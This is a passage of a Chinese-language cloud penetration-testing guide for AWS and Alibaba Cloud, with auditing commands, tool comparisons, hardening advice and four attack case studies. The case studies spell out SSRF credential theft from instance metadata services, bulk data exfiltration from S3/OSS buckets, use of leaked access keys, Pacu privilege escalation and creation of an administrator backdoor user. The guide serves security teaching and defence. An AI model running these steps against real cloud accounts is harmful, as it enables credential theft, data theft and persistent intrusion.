prowler aws -p <profile名>

# 仅执行特定检查项(如检查 S3 公开访问)
prowler aws -c check13

# 输出 JSON 格式报告
prowler aws -M json -o ./prowler-report/

8.2 阿里云自动化审计

bash 复制代码
# 安全中心:列出云安全态势管理(CSPM)检查项
aliyun sas DescribeCheckWarnings --PageSize 100

# 查看安全中心风险项
aliyun sas DescribeVulList --PageSize 100

# ActionTrail 事件查询
aliyun actiontrail LookupEvents --EventName ConsoleSignin --MaxResults 50

# 检查 RAM 用户是否开启 MFA
aliyun ram ListUsers --output cols=UserName,UserId rows=Users.UserName

# 检查 OSS 桶权限
aliyun oss ls
aliyun oss bucket acl --bucket <桶名>

8.3 开源审计工具对比

工具 支持平台 核心能力 适用场景
Pacu AWS 攻击模拟、提权扫描 红队渗透
ScoutSuite AWS/Aliyun/Azure/GCP 配置审计、可视化报告 蓝队巡检
Prowler AWS CIS 合规检查 合规审计
CloudSploit 多云 配置检测 自动化巡检
CloudFox AWS/Azure/GCP 权限可视化、可达性分析 权限梳理

九、云安全攻防实战案例

9.1 案例一:SSRF 获取 EC2 凭证横向移动

攻击场景:目标网站存在 SSRF 漏洞,部署在 AWS EC2 上且挂载了高权限 IAM 角色。

bash 复制代码
# 步骤1:探测元数据服务(通过 SSRF 漏洞)
# 原始 SSRF payload
curl "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# 步骤2:获取 IAM 角色临时凭证
curl "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole"

# 步骤3:配置临时凭证
export AWS_ACCESS_KEY_ID=ASIAxxxxxxxxxxxx
export AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxxxxxxxxxxxxxx
export AWS_SESSION_TOKEN=FwoGxxxxxxxxxxxx...

# 步骤4:验证身份
aws sts get-caller-identity
# 返回:arn:aws:sts::123456789012:assumed-role/WebAppRole/pentest

# 步骤5:枚举角色权限并发现可访问的 S3 桶
aws s3 ls
aws s3 ls s3://company-secrets-bucket/

# 步骤6:下载数据(完成横向移动与数据窃取)
aws s3 sync s3://company-secrets-bucket/ ./looted/

防御建议:强制 IMDSv2、修复 SSRF、为角色配置最小权限。

9.2 案例二:S3 公开数据泄露

攻击场景:企业 S3 存储桶配置为 public-read,包含敏感客户数据。

bash 复制代码
# 步骤1:通过子域名或代码泄露发现存储桶名
# 例如应用代码中引用了 https://company-backups.s3.amazonaws.com/

# 步骤2:匿名列举存储桶内容
aws s3 ls s3://company-backups --no-sign-request

# 步骤3:匿名下载敏感文件
aws s3 cp s3://company-backups/customers.csv ./ --no-sign-request
aws s3 sync s3://company-backups/ ./looted/ --no-sign-request

# 步骤4:若为 public-read-write,可上传篡改文件
aws s3 cp fake-report.pdf s3://company-backups/reports/ --no-sign-request

防御建议:开启 Block Public Access、审计 Bucket Policy、启用加密与版本控制。

9.3 案例三:AccessKey 泄露控制云环境

攻击场景:开发者在 GitHub 公开仓库中硬编码了 AWS AccessKey。

bash 复制代码
# 步骤1:通过 GitHub 搜索泄露的 AccessKey(AKIA 开头)
# GitHub 搜索关键字:AKIA OR "aws_access_key_id"

# 步骤2:配置泄露的凭据
aws configure --profile leaked
# AWS Access Key ID: AKIAIOSFODNN7EXAMPLE
# AWS Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

# 步骤3:验证身份与权限
aws sts get-caller-identity --profile leaked
aws iam list-attached-user-policies --user-name <用户名> --profile leaked

# 步骤4:枚举可访问资源
aws s3 ls --profile leaked
aws ec2 describe-instances --profile leaked

# 步骤5:利用 Pacu 自动化提权
Pacu> import_keys leaked
Pacu (leaked:NoData)> run iam__privesc_scan
Pacu (leaked:NoData)> run iam__backdoor_users --user-names <新用户名>

# 步骤6:创建后门用户(持久化)
aws iam create-user --user-name backdoor --profile leaked
aws iam create-access-key --user-name backdoor --profile leaked
aws iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile leaked

防御建议:使用 Git 预提交钩子扫描密钥、启用 AWS Credential Guard、为 AK 配置自动轮换与泄露告警(GuardDuty)。

9.4 案例四:阿里云 ECS 元数据泄露 RAM 凭证

攻击场景:目标网站部署在阿里云 ECS 上,存在 SSRF 漏洞,实例绑定了 RAM 角色。

bash 复制代码
# 步骤1:通过 SSRF 获取 RAM 角色名称
curl "http://target.com/fetch?url=http://100.100.100.200/latest/meta-data/ram/security-credentials/"

# 步骤2:获取 RAM 角色临时凭证
curl "http://target.com/fetch?url=http://100.100.100.200/latest/meta-data/ram/security-credentials/EcsAppRole"

# 步骤3:配置 aliyun CLI 临时凭证
aliyun configure set --profile ecs-role --mode StsToken \
  --access-key-id STS.xxxxxxxxxxxx \
  --access-key-secret xxxxxxxxxxxxxxxx \
  --sts-token CAISxxxxxxxxxxxx... \
  --region cn-hangzhou

# 步骤4:验证身份
aliyun sts GetCallerIdentity --profile ecs-role

# 步骤5:枚举可访问的 OSS 桶
aliyun oss ls --profile ecs-role

# 步骤6:下载 OSS 数据
ossutil cp oss://company-data/secrets.xlsx ./ --profile ecs-role

# 步骤7:若角色权限足够,枚举 ECS 实例信息
aliyun ecs DescribeInstances --RegionId cn-hangzhou --profile ecs-role

防御建议:ECS 不绑定高权限 RAM 角色、修复 SSRF 漏洞、通过安全组限制元数据服务访问来源。

十、云安全防护最佳实践

10.1 IAM 加固

  • 禁用 Root/主账号 AccessKey,仅用于控制台登录并开启 MFA
  • 遵循最小权限原则,使用托管策略而非内联策略
  • 使用 STS 临时凭证替代长期 AccessKey
  • 定期轮换 AccessKey,启用凭据报告审计
  • 使用 Permission Boundary 限制 IAM 用户最大权限

10.2 网络隔离

  • 所有资源部署在私有子网,通过 NAT 网关访问公网
  • 安全组遵循默认拒绝、最小放通原则,禁止 0.0.0.0/0 开放管理端口
  • 使用 VPC Endpoint 私网访问云服务,避免流量经过公网
  • 对等连接严格审计,防止跨账号横向移动

10.3 数据加密

  • 启用存储桶/云盘/数据库静态加密(KMS)
  • 强制传输层加密(TLS/SSL)
  • 敏感数据使用 Secrets Manager 或 KMS 托管
  • 密钥定期轮换,严格控制 KMS 密钥策略

10.4 日志监控

  • 全区域启用 CloudTrail / ActionTrail,日志投递到独立账号的存储桶
  • 配置 GuardDuty / 安全中心检测异常 API 调用与凭据泄露
  • 设置 CloudWatch / 日志服务告警,对高危操作实时通知
  • 定期审查凭证报告与登录日志

10.5 CSPM 持续态势管理

  • 部署 Config / 安全中心 CSPM 规则,持续检测配置偏差
  • 使用 Security Hub / 合规中心聚合安全发现并闭环
  • 定期执行 ScoutSuite / Prowler 全量审计
  • 建立 IaC(Terraform/CloudFormation)安全扫描流程

10.6 检查清单

检查项 AWS 阿里云
Root MFA aws iam get-account-summary 控制台查看主账号 MFA
AccessKey 轮换 凭证报告审计 RAM 控制台审计
S3/OSS 公开访问 aws s3api get-public-access-block aliyun oss bucket acl
安全组开放范围 aws ec2 describe-security-groups aliyun ecs DescribeSecurityGroups
RDS 公开访问 aws rds describe-db-instances aliyun rds DescribeDBInstanceIPArrayList
IMDSv2 强制 aws ec2 describe-instances 暂无(依赖应用层防护)
日志启用 aws cloudtrail describe-trails aliyun actiontrail DescribeTrails
MFA 普及率 aws iam list-virtual-mfa-devices aliyun ram ListVirtualMFADevices
加密状态 aws s3api get-bucket-encryption OSS 控制台查看加密配置
配置合规 aws configservice describe-compliance-by-config-rule aliyun sas DescribeCheckWarnings

十一、总结与学习路线

11.1 云安全攻防要点总结

云安全攻防的本质是"身份即边界、配置即漏洞"。与传统内网渗透相比,云渗透更侧重于:

  1. 凭据获取优先:AccessKey 与临时凭证是云渗透的"通行证",SSRF 与代码泄露是主要入口
  2. 配置错误利用:存储桶公开、安全组过宽、IAM 过度授权是高频风险点
  3. 元数据服务:IMDS 是云原生 SSRF 的核心目标,IMDSv2 是关键防护措施
  4. API 驱动:所有操作通过 API 完成,CloudTrail / ActionTrail 日志是溯源关键
  5. 自动化工具:Pacu、ScoutSuite、Prowler 等工具大幅提升攻防效率

11.2 学习路线

阶段 学习内容 推荐资源
入门 云基础、IAM 模型、CLI 使用 AWS 官方文档、阿里云帮助中心
进阶 配置审计、CIS 基线、CSPM ScoutSuite、Prowler 实操
实战 靶场演练、漏洞链复现 CloudGoat、SadCloud、WrongSecrets
高阶 提权路径、横向移动、防御绕过 Pacu 框架、Hacking The Cloud
认证 AWS Security Specialty、CCSP 官方认证考试

11.3 推荐靶场与资源

  • CloudGoat:RhinoSecurityLabs 出品的 AWS 靶场,含多条真实漏洞链场景
  • SadCloud:故意配置错误的 AWS 环境,用于审计工具练习
  • WrongSecrets:OWASP 项目,练习密钥泄露发现与利用
  • Hacking The Cloud:云攻击技术百科全书,含真实案例
  • AWS 官方渗透测试政策:了解哪些服务可免报备测试

【提示】 云安全是一个快速演进的领域,AWS 和阿里云持续推出新服务与新防护机制(如 IMDSv2、GuardDuty、安全中心)。攻防人员需保持对新服务、新配置项的持续学习,并定期更新自动化审计规则库。

以上即为 AWS 与阿里云渗透测试全流程指南。本文覆盖了从攻击面分析、六大服务安全、自动化审计到实战案例的完整体系,所有 CLI 命令均可在授权环境中直接使用。安全之路,攻防相长,愿每位安全从业者都能在合法合规的前提下提升云上防护能力。

相关推荐
GlobalSign数字证书1 小时前
小企业零运维 TLS 架构设计:证书生命周期管理(CLM)与自动化轮换策略的技术选型
运维·自动化
福大大架构师每日一题2 小时前
agno v2.9.0发布:身份感知调度、缓存隔离、安全加固与组件重建全面升级
安全·缓存
数据知道4 小时前
网络安全实战:子域名接管实战——从 CNAME 配置错误到完全控制
网络·安全·web安全·网络安全
吴声子夜歌4 小时前
网络安全——身份认证
安全·web安全·身份认证
纳米软件5 小时前
AIDC供电架构演进_从传统UPS到HVDC的测试挑战与验证方法
自动化·ate测试系统·aidc·服务器电源·电子测试测量
测试修炼手册6 小时前
[测试技术] 文件上传功能怎么测:格式、大小、并发与安全
安全
xiaoxiangsiyan6 小时前
RHCE2026云原生路线EX188和EX288完整备考指南
运维·网络·云原生·自动化
Zkaisen7 小时前
RN与Metro
web安全
Aision_7 小时前
代码安全学习手记(二):SCA 软件成分分析原理与 OWASP Dependency-Check 集成实战
运维·人工智能·学习·安全·web安全·网络安全